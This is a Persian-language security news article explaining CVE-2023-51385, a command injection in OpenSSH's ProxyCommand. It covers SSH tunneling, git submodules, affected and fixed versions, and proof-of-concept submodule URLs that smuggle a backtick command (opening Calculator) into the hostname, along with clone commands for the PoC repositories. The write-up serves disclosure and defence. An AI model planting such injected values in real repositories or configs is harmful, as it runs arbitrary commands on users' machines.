Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • آسیب پذیری CVE-2023-51385 روی OpenSSH
  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت

آسیب پذیری CVE-2023-51385 روی OpenSSH

On دی 12, 1402دی 12, 1402
seyyid
Share
زمان مطالعه: 4 دقیقه

یه آسیب پذیری بحرانی با امتیاز 9.8 و از نوع OS command injection در دستور ProxyCommand در OpenSSH توسط محققین NSFOCUS CERT کشف و گزارش شده ، که امکان اجرای دستور دلخواه رو به مهاجم میده.

همونطور که میدونید ، SSH یا Secure Shell یا Secure Socket Shell ، یکی از روش های ارتباط امن کلاینت و سروری و انتقال فایل و … هستش و OpenSSH هم یه پیاده سازی متن باز از SSH هست.

یکی از قابلیت های مهم SSH ، ویژگی SSH Tunneling هست. SSH Tunneling روشی هستش که در اون داده های شبکه از طریق یه اتصال SSH رمزگذاری شده منتقل میشن. این روش کاربردهای مختلفی داره مثلا امکان ایجاد یه لایه رمزگذاری شده به برنامه های قدیمی رو میده، امکان پیاده سازی VPN رو میده و با توجه به اینکه IP شمارو هم مخفی میکنه، بنابراین کسی امکان شنود یا مونیتور کردن شما رو نداره و البته هکرها هم از این تکنیک برای دور زدن فایروال ها استفاده میکنن.

برای SSH Tunneling سه روش متداول وجود داره :

Local Port Forwarding : این روش زمانی استفاده میشه که ما مستقیما نمیتونیم یا نمیخواییم به یه سرور وصل بشیم. مثلا فرض کنید یه وب سرور داخل یه سازمان داریم که بطور مستقیم نمیتونیم بهش متصل بشیم و باید به یه SSH server وصل بشیم تا بهش دسترسی داشته باشیم. در حقیقت این SSH SERVER بطور مستقیم به این وب سرور متصله و ما با اتصال به این SSH Server میتونیم به این وب سرور وصل بشیم.

Remote Port Forwarding : این روش زمانی استفاده میشه که بخواییم، وقتی بقیه به سرور SSH وصل میشن، به یه کلاینت SSH متصل بشن. مثلا وقتی بخواییم منبع یه سرویس رو مخفی کنیم ، میتونیم از این روش استفاده کنیم.

Dynamic Port Forwarding : در این روش یه socks5 روی سیستم داریم و همه ترافیک ما از طریق SSH SERVER منتقل میشه. این روشی هستش که الان برای عبور از تحریم و … استفاده میشه. یکی از پیاده سازی هایی که برای این منظور انجام میشه اینجوریه که دو تا سرور خریداری میشه که یکیش سرور ایرانه و یکیش سرور خارجی. شما به سرور ایران وصل میشید و از اونجا به سرور خارج و از سرور خارج مثلا میتونید به یه صرافی رمزارز وصل بشید. با این روش هم ترافیک شما نیم بها میشه و هم اینکه میتونید اون تحریم رو دور بزنید. در این روش که برای تونل زدن به مقصد نهایی ، ما از چندین گره عبور میکنیم، اصطلاحا Multi-hop SSH Tunnel میگن.

برای پیاده سازی یه Multi-hop SSH Tunnel روش های مختلفی وجود داره که یکی از اونا استفاده از ProxyCommand هستش. برای اینکار فرض کنید ما دو تا سرور داریم، firstHop و destinationHop و روشون تنظیمات زیر رو پیکربندی کردیم :

 

1
2
3
Host firstHop
  Hostname x.x.x.x
  User root

 

1
2
3
4
Host destinationHop
  Hostname y.y.y.y
  User root
  ProxyCommand ssh firstHop -W %h:%p

 

خب الان ما اگه یه اتصال SSH به destinationHop ایجاد کنیم، در ابتدا به firstHop وصل میشه و پسورد اونو میخواد و بعدش به destinationHop وصل میشه و پسورد اونو میخواد. اگه به سرور destinationHop بریم، IP مبدا رو IP firstHop نشون میده و IP اصلی ما نیست.

در حقیقت ProxyCommand یه روش برای پراکسی کردن اتصالات SSH با امکان تعیین دستوراتی برای اتصال به سرور هدف هستش یا اصطلاحا روشی هستش که شما میتونید از یه سرور میانی به یه سرور دیگه بپرید. این دستور همونطور که بالا مشاهده میکنید، دارای آرگومانهایی مانند %h و %u هستش که بیانگر Hostname و نام کاربری هستش. با توجه به اینکه این آرگومانها ، دارای هیچ فیلتر امنیتی نیستن، بنابراین اگه دارای کاراکترهای خاص Shell مثلا | یا ` و … باشن و همچنین در یه زمینه ی خاصی بهشون ارجاع داده بشه،  امکان اجرای دستور رو به مهاجم میدن. البته برای اکسپلویت نیاز به تعامل کاربر هم هستش.

 

 

یه سناریوهای رایج برای اکسپلویت این آسیب پذیری استفاده از یه مخزن Git غیرقابل اعتماد هستش . مهاجم میتونه یه مخزن مخرب ایجاد کنه که دارای یه Submodule با نام کاربری یا میزبان با کاراکترهای خاص shell هستش و وقتی کاربر مخزن رو بصورت recursively آپدیت میکنه، آسیب پذیری فعال بشه و مهاجم دستورات دلخواه رو روی سیستم کاربر اجرا کنه.

منظور از Submodule در گیت چیه؟ شما اگه یه برنامه ای رو بنویسید، اغلب به یسری کد یا کتابخونه ی دیگه وابستگی دارید. یکی از راه حل ها اینه که اون کدها رو کپی و پیست کنید و تو پروژه اتون ازش استفاده کنید، اما این روش یه مشکلی که داره اینه که ، اگه اون کدهای شخص ثالث بروز بشن شما دیگه دسترسی به اونها ندارید و باید دوباره برید و فرایند کپی و پیست رو انجام بدید. راه حل دیگه استفاده از Submoduleها هستش. در این روش شما کدهای شخص ثالث رو از پروژه اتون جدا نگهداری میکنید و در نتیجه میتونید اونارو راحتتر کنترل و مدیریت کنید.

برای اینکه یه مخزنی رو بعنوان Submodule به پروژه اضافه کنیم ، از دستور زیر استفاده میکنیم، در این دستور ما DbConnector رو بعنوان Submodule تعریف میکنیم :

 

1
git submodule add https://github.com/chaconinc/DbConnector

 

با این کار یه فایلی بنام .gitmodules اضافه میشه که محتواش موارد زیر هستش :

 

1
2
3
[submodule "DbConnector"]
path = DbConnector
url = https://github.com/chaconinc/DbConnector

 

حالا اگه ما بخواییم یه مخزنی گیت که دارای Submodule هستش رو کلون کنیم، یکی از روشها استفاده از دستور زیر که بصورت recursively مخزن رو کلون میکنه یعنی محتوای Submodule رو هم کلون میکنه :

 

1
git clone --recurse-submodules https://github.com/chaconinc/MainProject

 

اگه برگردیم سراغ آسیب پذیری خودمون، فرض کنید ما یه کانفیگی در .ssh/config بصورت زیر داریم :

 

1
2
Host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

 

اگه دستور زیر اجرا کنیم، یه ماشین حساب در سیستم OS X باز میکنه :

 

1
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules

 

چون این مخزن دارای یه Submodule به صورت زیر هستش که از کاراکترهای مورد استفاده ی Shell استفاده کرده :

 

1
2
3
[submodule "cves"]
path = cves
url = ssh://`open -aCalculator`foo.example.com/bar

 

اگه کانفیگ رو به این صورت تغییر بدیم، یعنی آرگومانهارو داخل کوتیشن قرار بدیم :

 

1
2
Host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 '%h' '%p'

 

باز هم آسیب پذیر هستش، اگه قربانی این دستور رو اجرا کنه :

 

1
git clone https://github.com/vin01/poc-proxycommand-vulnerable-v2 --recurse-submodules

 

که دارای یه Submodule بصورت زیر هستش :

 

1
2
3
[submodule "cves"]
  path = cves
  url = ssh://'`open -aCalculator`'foo.example.com/bar

 

نسخه های تحت تاثیر :

  • OpenSSH : نسخه های قبل از 9.6
  • libssh : نسخه های قبل از 0.10.6 و 0.9.8 . برای LibSSH شناسه ی CVE-2023-6004 رو اختصاص دادن.

 

نسخه های اصلاح شده :

  • OpenSSH 9.6p1
  • libssh 0.10.6 and 0.9.8

 

 

منبع:

Vin01

انواع تونل SSH

Git Submodules

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی اخبار توسعه اکسپلویتIn libssh , openssh , OS command injection

راهبری نوشته

زنجیره حمله Triangulation ، پیچیده ترین حمله روی آیفون (CVE-2023-38606)
احتمال هک اسنپ فود توسط بدافزار StealC infostealer

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

پست های مرتبط

  • آسیب پذیری امنیتی
  • اخبار
  • امنیت وب
  • توسعه اکسپلویت
  • مقالات
seyyid
On بهمن 17, 1402بهمن 17, 1402

آنالیز و اکسپلویت CVE-2024-23897 و CVE-2024-23898 در جنکینز

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On خرداد 23, 1402خرداد 24, 1402

هک پهپاد با تکنیک EMFI

  • اخبار
seyyid
On اسفند 29, 1401فروردین 28, 1402

تبریک سال نو

  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • امنیت وب
  • باگ بانتی
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • مقالات
  • مهندسی معکوس نرم افزار
seyyid
On اردیبهشت 1, 1404اردیبهشت 10, 1404

آشنایی با MCP همراه با مثالهایی از دنیای امنیت سایبری

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei Off By One Security out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404